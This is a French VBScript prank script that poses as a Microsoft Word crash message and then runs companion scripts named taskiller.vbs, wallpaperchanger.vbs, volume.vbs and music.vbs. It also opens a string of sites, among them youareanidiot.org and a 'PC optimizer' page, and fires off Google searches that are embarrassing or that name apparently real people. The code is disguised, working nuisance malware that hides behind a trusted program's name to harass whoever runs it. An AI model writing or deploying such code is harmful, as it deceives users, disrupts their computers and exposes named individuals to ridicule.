result = MsgBox ("Word n'a pas pu se fermer correctement la dernière fois", vbInformation, "Word.exe")

Select Case result
Case vbOk

Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\WINWORD.EXE"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\Word_Download\taskiller.vbs"
WScript.Sleep 30000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\Word_Download\wallpaperchanger.vbs"
WScript.Sleep 5000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """http://www.windows93.net/"""
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "https://www.google.fr/search?q=%3D&oq=%3D&aqs=chrome..69i57.174138j0j9&sourceid=chrome&ie=UTF-8#q=alzyohan+lo%C3%AFc"
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "https://www.google.fr/search?q=%3D&oq=%3D&aqs=chrome..69i57.174138j0j9&sourceid=chrome&ie=UTF-8#q=minecraft+hax+download+no+virus"
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "http://www.pcoptimizerpro.com/"
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "http://agar.io"
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "https://www.youtube.com/channel/UCA6NH9d7e_T-pG84Pr_C7PA"
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """https://www.google.fr/search?q=%3D&oq=%3D&aqs=chrome..69i57.174138j0j9&sourceid=chrome&ie=UTF-8#q=no+man%27s+sky+c%27est+nul"""
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """https://www.google.fr/search?q=%26z*&oq=%26z*&aqs=chrome..69i57.27894j0j1&sourceid=chrome&ie=UTF-8#q=comment+se+masturber+%3F"""
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """https://www.google.fr/search?q=%26z*&oq=%26z*&aqs=chrome..69i57.27894j0j1&sourceid=chrome&ie=UTF-8#q=comment+hacker+les+pc+du+college"""
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """https://www.google.fr/search?q=%26z*&oq=%26z*&aqs=chrome..69i57.27894j0j1&sourceid=chrome&ie=UTF-8#q=mael+letallec+instagram"""
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """https://www.youtube.com/channel/UCnsFagZgUXhZMC6HcX0OJxA"""
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "http://youareanidiot.org/"
WScript.Sleep 1000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\Word_Download\volume.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\Word_Download\music.vbs"
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """http://clashroyale-gemme.com/"""
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """http://www.nyan.cat/"""

End Select